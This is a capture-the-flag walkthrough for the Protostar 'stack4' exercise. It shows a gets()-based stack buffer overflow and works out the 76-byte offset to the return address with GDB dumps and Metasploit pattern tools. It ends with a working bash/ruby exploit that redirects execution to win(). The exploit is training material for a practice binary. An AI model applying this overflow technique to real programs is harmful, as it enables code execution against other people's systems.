$$\ $$\ $$\ $$ | $$ | $$ | $$$$$$$\ $$ | $$$$$$\ $$$$$$\ $$$$$$$$\ $$ | $$$$$$\ $$\ $$\ $$\ $$$$$$\ $$$$$$\ $$$$$$\$$$$\ $$ __$$\ $$ |$$ __$$\ $$ __$$\ \____$$ |$$ |$$ __$$\ $$ | $$ | $$ |$$ __$$\ \____$$\ $$ _$$ _$$\ $$ | $$ |$$ |$$ / $$ |$$ / $$ | $$$$ _/ $$ |$$ / $$ |$$ | $$ | $$ |$$ | \__|$$$$$$$ |$$ / $$ / $$ | $$ | $$ |$$ |$$ | $$ |$$ | $$ | $$ _/ $$ |$$ | $$ |$$ | $$ | $$ |$$ | $$ __$$ |$$ | $$ | $$ | $$$$$$$ |$$ |\$$$$$$ |\$$$$$$$ |$$\ $$$$$$$$\ $$ |\$$$$$$ |\$$$$$\$$$$ |$$ | $$\\$$$$$$$ |$$ | $$ | $$ | \_______/ \__| \______/ \____$$ |\__|\________|\__| \______/ \_____\____/ \__| \__|\_______|\__| \__| \__| $$\ $$ | \$$$$$$ | \______/
In this exercise, we are getting really close to what a classical stack overflow scenario is. However, in stack4 we still don’t need a shellcode to solve the exercise, as we are asked again to redirect the execution flow to a function called win().
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
This time we don’t have a pointer to a function that we can overwrite to redirect the execution flow to the win() function. Instead, we have to overwrite the ret address.
We take a look at how would be the stack layout for this process:
+------------+ Lower addresses
| ... |
+------------+ <-- ESP
| buffer |
| . |
| . |
+------------+ <-- EBP
| stored_ebp |
+------------+
| ret |
+------------+
| argc |
+------------+
| argv |
+------------+
| ... |
+------------+ Higher addresses
As we can see, we should fill the buffer and overwrite the stored EBP in order to reach the ret address. The next step then, is to calculate the padding needed to overwrite the ret address. This time we cannot use the same method as in the previous exercises, because the ret address is not immediately after the buffer and the compilar padding can also increase the bytes needed.
To calculate the padding needed, we can do it either manually with GDB and a coredump file, or with the tools provided with metasploit.
To do it manually, it is important to have in mind the stack layout detailed above, as we need to calculate the difference between the start of the buffer and the ret address.
First we need to know where starts the buffer, by filling the first 4 bytes of it with a known value, such as “AAAA”, and then looking for it in the stack with GDB. We place a breakpoint just after the call to gets() and let it run until it stops, to look at the stack.
(gdb) x/32x $esp
0xbffff780: 0xbffff790 0xb7ec6165 0xbffff798 0xb7eada75
0xbffff790: 0x41414141 0x08049500 0xbffff7a8 0x080482e8
0xbffff7a0: 0xb7ff1040 0x080495ec 0xbffff7d8 0x08048449
0xbffff7b0: 0xb7fd8304 0xb7fd7ff4 0x08048430 0xbffff7d8
0xbffff7c0: 0xb7ec6365 0xb7ff1040 0x0804843b 0xb7fd7ff4
0xbffff7d0: 0x08048430 0x00000000 0xbffff858 0xb7eadc76
0xbffff7e0: 0x00000001 0xbffff884 0xbffff88c 0xb7fe1848
0xbffff7f0: 0xbffff840 0xffffffff 0xb7ffeff4 0x0804824b
It can be clearly seen that our “AAAA” input is at address 0xbffff790, codified as 0x41414141.
Now we need to get the address of the ret address. Recall that it is right after the stored EBP, so we can get this info, again, with GDB.
(gdb) x/32x $ebp
0xbffff7d8: 0xbffff858 0xb7eadc76 0x00000001 0xbffff884
0xbffff7e8: 0xbffff88c 0xb7fe1848 0xbffff840 0xffffffff
0xbffff7f8: 0xb7ffeff4 0x0804824b 0x00000001 0xbffff840
0xbffff808: 0xb7ff0626 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4
0xbffff818: 0x00000000 0x00000000 0xbffff858 0x9bd07555
0xbffff828: 0xb187c345 0x00000000 0x00000000 0x00000000
0xbffff838: 0x00000001 0x08048340 0x00000000 0xb7ff6210
0xbffff848: 0xb7eadb9b 0xb7ffeff4 0x00000001 0x08048340
Looking at the stack print above, the stored EBP is 0xbffff858, thus the ret address is 0xb7eadc76, which is located at 0xbffff7dc. Then, if we subtract the address of the buffer from the address of the ret addres, we get the actual size of the padding, wich is 0xbffff7dc - 0xbffff790 = 0x4c = 76.
In the tools folder of Metasploit framework there are several useful tools, from which we will use the ones called pattern_create and pattern_offset.
$ ./pattern_create.rb 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac
5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Pattern_crate creates a pattern that should be used as the input to the buffer we want to overflow, so when the binary crashes the coredump will contain the invalid ret address that caused the crash. We can open the binary with the generated coredump to view the crash information and, therefore, obtain that address.
$ gdb stack4 /tmp/core.11.stack4.11175
[...]
Core was generated by `./stack4'.
Program terminated with signal 11, Segmentation fault.
#0 0x63413563 in ?? ()
[...]
Now, we just need to get the value of the address and pass it as input to pattern_offset, followed by the length of the pattern used.
$ ./pattern_offset.rb 0x63413563 100
[*] Exact match at offset 76
Now that we already have the size of the padding needed to reach the ret address, we only need to attach the address of win() in little endian and we will be done. To get the address we use the same method used in stack3.
The final solution is in the following snippet:
#!/bin/bash
mkfifo pipe
./stack4 < pipe &
ruby -e ' puts "A"*76 + "\xf4\x83\x04\x08" ' > pipe
rm pipe